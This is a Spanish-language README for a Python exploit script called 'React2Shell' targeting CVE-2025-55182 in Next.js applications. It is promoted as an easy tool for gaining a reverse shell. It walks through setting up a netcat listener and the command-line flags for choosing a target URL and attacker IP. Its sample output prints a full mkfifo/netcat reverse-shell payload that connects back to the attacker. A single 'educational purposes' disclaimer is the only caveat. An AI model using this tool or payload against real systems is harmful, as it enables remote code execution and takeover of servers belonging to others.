
Este es un script PoC fácil de usar para explotar la vulnerabilidad React2Shell-CVE-2025-55182 de Nextjs. Esto ayudará a obtener una reverse shell.
🚀 React2Shell - (CVE-2025–55182) Script de explotación
🔥 Introducción
Este repositorio contiene un script de explotación para la vulnerabilidad React2Shell (CVE-2025–55182), que ataca un tipo específico de Node.js Prototype Pollution que conduce a la ejecución remota de código (RCE).
El script está específicamente diseñado para establecer una conexión reverse shell de Netcat mediante la inyección de un payload malicioso en la aplicación vulnerable.
⚠️ Descargo de responsabilidad
Esta herramienta es solo para fines educativos y de investigación.
⚙️ Requisitos previos
- Python 3.x
- La biblioteca
requestsInstalación
Puedes instalar la dependencia de Python requerida usando
pip:
pip install requests
El script es una herramienta específica para obtener una reverse shell y requiere 3 parámetros principales: la URL objetivo (-u), tu dirección IP local (-l) y el puerto del listener (-p).
Antes de ejecutar el exploit, debes configurar un listener de Netcat en tu máquina local para capturar la conexión reverse shell entrante.
# Start Netcat listener on port 9001 (or your custom port)
nc -lvnp 9001
Ejecuta el script proporcionando los argumentos necesarios. Si omites el puerto (-p), se usará el valor predeterminado 9001.
| Flag | Argumento | Descripción | Ejemplo |
|---|---|---|---|
-u | --url | (REQUERIDO) La URL completa del objetivo vulnerable. | http://192.168.1.100:3000 |
-l | --local-ip | (REQUERIDO) Tu dirección IP de atacante/listener. | 192.168.1.5 |
-p | --port | El puerto en el que se ejecuta tu listener. | 4444 |
Para atacar http://192.168.1.100:3000/ y conectarte de vuelta a tu listener en 192.168.1.5:4444:
python react2shell.py -u http://192.168.1.100:3000 -l 192.168.1.5 -p 4444
El exploit aprovecha la función execSync en el objetivo, que normalmente bloquea el proceso del servidor. Por lo tanto, un ReadTimeout es la señal esperada de una ejecución de comandos exitosa.
### 🔥 React2Shell - (CVE-2025–55182)
### By Hasa
[*] Target URL (-u): [http://192.168.1.100:3000/](http://192.168.1.100:3000/)
[*] Local IP (-l): 192.168.1.5
[*] Port (-p): 4444
[*] Command: rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 192.168.1.5 4444 >/tmp/f
[*] Sending payload...
[+] [+] Attack may be Successful! Check your Netcat Listner.
Si tiene éxito, verás la shell conectarse en tu listener de Netcat.
Ejecutar el script sin argumentos muestra el banner y las instrucciones de uso obligatorias:
python react2shell.py
Salida:
### 🔥 React2Shell - (CVE-2025–55182)
### By Hasa
usage: react2shell.py [-h] -u URL -l LOCAL_IP [-p PORT]
Educational Purposes Only!!!
options:
-h, --help show this help message and exit
-u URL, --url URL (REQUIRED) The target URL (Ex: "[http://example.com:3000](http://example.com:3000)")
-l LOCAL_IP, --local-ip LOCAL_IP
(REQUIRED) Listner or Attacker IP (Ex: "192.168.100.1")
-p PORT, --port PORT Listner Port (Default: 9001)
